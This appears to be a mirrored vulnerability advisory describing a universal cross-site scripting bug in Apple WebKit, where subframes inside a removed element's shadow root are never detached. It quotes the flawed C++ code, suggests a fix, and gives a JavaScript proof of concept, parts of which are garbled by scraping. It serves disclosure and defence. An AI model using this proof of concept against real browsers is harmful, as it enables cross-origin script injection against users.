Apple WebKit disconnectSubframes UXSS

Apple WebKit suffered from a cross site scripting vulnerability via disconnectSubframes.

MD5 | 75a1f73f115f033e90d6b612154a99d0

 Apple WebKit: UXSS via disconnectSubframes 


When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of |disconnectSubframes|.

void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

if (policy == RootAndDescendants) {
if (is<HTMLFrameOwnerElement>(root))

collectFrameOwners(frameOwners, root);

// Must disable frame loading in the subtree so an unload handler cannot
// insert more frames and create loaded frames in detached subtrees.
SubframeLoadingDisabler disabler(root);

bool isFirst = true;
for (auto& owner : frameOwners) {
// Don't need to traverse up the tree for the first owner since no
// script could have moved it.
if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
isFirst = false;

The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

collectFrameOwners(frameOwners, root);

if (is<Element>(root)) {
Element& element = downcast<Element>(root);
if (ShadowRoot* shadowRoot = element.shadowRoot())
collectFrameOwners(frameOwners, *shadowRoot);

var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});

var f = s.appendChild(document.createElement("iframe"));

f.onload = () => {
f.onload = null;

f.src = "javascript:alert(location)";

var xml = `
<svg xmlns="<a href="" title="" class="" rel="nofollow"></a>">

</sc` + `ript>
<element a="1" a="2" />

var v = document.body.appendChild(document.createElement("iframe"));
v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));

f.src = "<a href="";" title="" class="" rel="nofollow">";</a>

Tested on Safari 10.0.2(12602.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Found by: lokihardt

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